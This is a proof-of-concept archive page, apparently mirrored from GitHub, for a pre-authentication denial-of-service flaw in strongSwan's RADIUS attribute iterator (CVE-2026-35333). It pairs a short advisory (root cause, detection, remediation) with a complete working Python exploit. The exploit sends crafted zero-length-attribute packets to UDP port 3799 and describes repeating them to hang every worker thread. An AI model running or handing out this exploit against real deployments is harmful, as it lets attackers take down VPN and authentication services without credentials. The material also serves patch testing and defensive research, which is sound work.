PoC Archive PoC Archive
Medium CVE-2026-35333 unpatched

strongSwan RADIUS Attribute-Iterator Pre-Auth Infinite Loop / Remote DoS (CVE-2026-35333)

by JohannesLks · 2026-07-05

Severity
Medium
CVE
CVE-2026-35333
Category
network
Affected product
strongSwan — libradius
Affected versions
Versions containing the flawed radius_message.c iterator
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherJohannesLks
CVE / AdvisoryCVE-2026-35333
Categorynetwork
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsstrongswan, radius, dos, infinite-loop, integer-underflow, pre-auth
RelatedN/A

Affected Target

FieldValue
Software / SystemstrongSwan — libradius
Versions AffectedVersions containing the flawed radius_message.c iterator
Language / PlatformPython PoC
Authentication RequiredNo (pre-authentication)
Network Access RequiredYes (RADIUS protocol)

Summary

strongSwan’s attribute_enumerate() in src/libradius/radius_message.c accepts RADIUS attributes whose length byte is smaller than sizeof(rattr_t) (2 bytes). When length == 0, the remaining-data counter underflows to a huge value and the loop’s decrement condition never triggers termination, causing an infinite loop that hangs the RADIUS-processing thread — a pre-authentication remote denial of service.


Vulnerability Details

Root Cause

attribute_enumerate() computes data->len = next->length - sizeof(rattr_t), which underflows for a zero-length attribute, and this->left -= next->length never decreases left, so the enumeration loop never exits.

Attack Vector

  1. Send a RADIUS message to a strongSwan endpoint acting as a RADIUS client/proxy.
  2. Include an attribute with length == 0.
  3. The attribute enumeration loop underflows its counters and spins forever, hanging the processing thread (DoS).

Impact

Pre-authentication remote denial of service against any strongSwan deployment processing RADIUS attributes from the attacker.


Environment / Lab Setup

Target:   strongSwan build using the vulnerable libradius attribute iterator
Attacker: Python 3 + a RADIUS message crafting library

Proof of Concept

PoC Script

See poc.py in this folder.

1
python3 poc.py --target <strongswan-radius-endpoint>

Sends a RADIUS message containing a zero-length attribute to trigger the infinite-loop condition in the target’s attribute enumerator.


Detection & Indicators of Compromise

Signs of compromise:

  • A strongSwan worker thread consuming 100% CPU with no corresponding successful authentication

Remediation

ActionDetail
Primary fixApply the upstream strongSwan patch correcting the underflow in radius_message.c once available
Interim mitigationRate-limit or filter malformed RADIUS attributes at a network boundary pending patch

References


Notes

Mirrored from https://github.com/JohannesLks/CVE-2026-35333 on 2026-07-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#!/usr/bin/env python3
"""
CVE-2026-35333 -- strongSwan RADIUS attribute-iterator DoS.

Live network exploit: send one crafted RADIUS Access-Request to the
strongSwan eap-radius DAE listener (UDP/3799) and hang a charon worker
thread forever. Access-Request is used (not Disconnect-Request) because
verify() skips the Response-Authenticator MD5 check for code 1 and walks
the broken attribute iterator directly -- so no DAE shared secret is
needed.

The malformed packet contains a single attribute with `length=0`
placed before any `Message-Authenticator`. strongSwan's
`radius_message_t::verify()` walks the attribute list via the broken
`attribute_enumerate()` iterator looking for `Message-Authenticator`
-- so the zero-length attribute traps the parser *before* the shared
secret is checked. The attack is unauthenticated.

Usage:

    python3 poc.py --target 127.0.0.1 --port 3799

Expected effect on a vulnerable charon (5.9.13 or earlier):
- one worker thread pinned at 100% CPU
- DAE listener never responds; repeat the attack N times to exhaust
  all N worker threads -> total DoS.

Effect on a patched charon (master >= e067d24293):
- packet is rejected at radius_message_parse() / validate_attributes()
  with "RADIUS attribute has invalid length"; CPU stays flat.
"""

from __future__ import annotations
import argparse
import os
import socket
import struct
import sys
import time


# RADIUS codes (RFC 2865 / RFC 3576)
ACCESS_REQUEST = 1
DISCONNECT_REQUEST = 40
COA_REQUEST = 43

# RADIUS attribute types
RAT_USER_NAME = 1
RAT_MESSAGE_AUTHENTICATOR = 80


def build_zero_length_attr_packet() -> bytes:
    """
    Build a minimal RADIUS packet whose first attribute has length == 0.

    RADIUS code = 1 (Access-Request).  The DAE receive() callback in
    `eap_radius_dae.c` accepts any code that `radius_message_parse()`
    parses, then calls `request->verify(..., NULL, secret, hasher,
    signer)` BEFORE dispatching on code.  For ACCESS_REQUEST,
    `verify()` skips the Response-Authenticator MD5 check and runs the
    attribute enumerator directly -- so a zero-length attribute
    placed first hangs the walker forever, with no knowledge of the
    DAE shared secret required.

    Layout (22 bytes total):
      [RADIUS header   -- 20 bytes]
        code            = 1  (Access-Request -- bypasses secret check
                              in verify())
        identifier      = random
        length          = 22 (BE u16)
        authenticator   = 16 random bytes
      [Attribute       --  2 bytes]
        type            = 1  (User-Name)
        length          = 0  <-- iterator loop trigger in verify()
    """
    identifier = os.urandom(1)[0]
    authenticator = os.urandom(16)

    attr_type = RAT_USER_NAME
    attr_length = 0  # <-- the bug trigger

    total_len = 20 + 2  # header + 2-byte attribute
    header = struct.pack(
        "!BBH16s", ACCESS_REQUEST, identifier, total_len, authenticator
    )
    attribute = struct.pack("!BB", attr_type, attr_length)

    return header + attribute


def build_disconnect_with_valid_attr() -> bytes:
    """
    A well-formed Disconnect-Request with a single User-Name=test
    attribute. Used as a control sample -- charon should reject it
    (bad signature) without hanging.
    """
    identifier = os.urandom(1)[0]
    authenticator = os.urandom(16)

    user_name = b"test"
    attribute = struct.pack(
        "!BB", RAT_USER_NAME, 2 + len(user_name)
    ) + user_name

    total_len = 20 + len(attribute)
    header = struct.pack(
        "!BBH16s", DISCONNECT_REQUEST, identifier, total_len, authenticator
    )
    return header + attribute


def send_packet(packet: bytes, target: str, port: int, wait: float) -> None:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(wait)
    sock.sendto(packet, (target, port))
    print(
        f"[+] sent {len(packet)} bytes to {target}:{port}/udp"
        f" (last 2 bytes: {packet[-2]:02x} {packet[-1]:02x})"
    )
    try:
        data, addr = sock.recvfrom(4096)
        print(
            f"[-] unexpected response {len(data)} bytes from {addr}:"
            f" {data[:32].hex()}"
        )
    except socket.timeout:
        print(f"[+] no response within {wait:.1f}s -- expected for hung worker")


def main() -> int:
    parser = argparse.ArgumentParser(
        description="CVE-2026-35333 live network DoS"
    )
    parser.add_argument(
        "--target", default="127.0.0.1",
        help="DAE listener address (default: 127.0.0.1)"
    )
    parser.add_argument(
        "--port", type=int, default=3799,
        help="DAE listener UDP port (default: 3799)"
    )
    parser.add_argument(
        "--count", type=int, default=1,
        help="Number of crafted packets to send (default: 1)"
    )
    parser.add_argument(
        "--wait", type=float, default=2.0,
        help="Wait seconds for a response per packet (default: 2.0)"
    )
    parser.add_argument(
        "--control", action="store_true",
        help="Send a well-formed Disconnect-Request first as control"
    )
    args = parser.parse_args()

    if args.control:
        print("[*] control sample: well-formed Disconnect-Request "
              "(bad signature, should NOT hang)")
        send_packet(build_disconnect_with_valid_attr(),
                    args.target, args.port, args.wait)
        time.sleep(0.5)

    payload = build_zero_length_attr_packet()
    for i in range(args.count):
        print(f"\n[*] crafted packet #{i + 1}: Access-Request with "
              "zero-length User-Name attribute")
        send_packet(payload, args.target, args.port, args.wait)
        time.sleep(0.2)

    print("\n[+] done; expected effect: one charon worker thread per packet "
          "stuck at 100% CPU.")
    print("    Verify on the target with:  top -H -p $(pidof charon)")
    return 0


if __name__ == "__main__":
    sys.exit(main())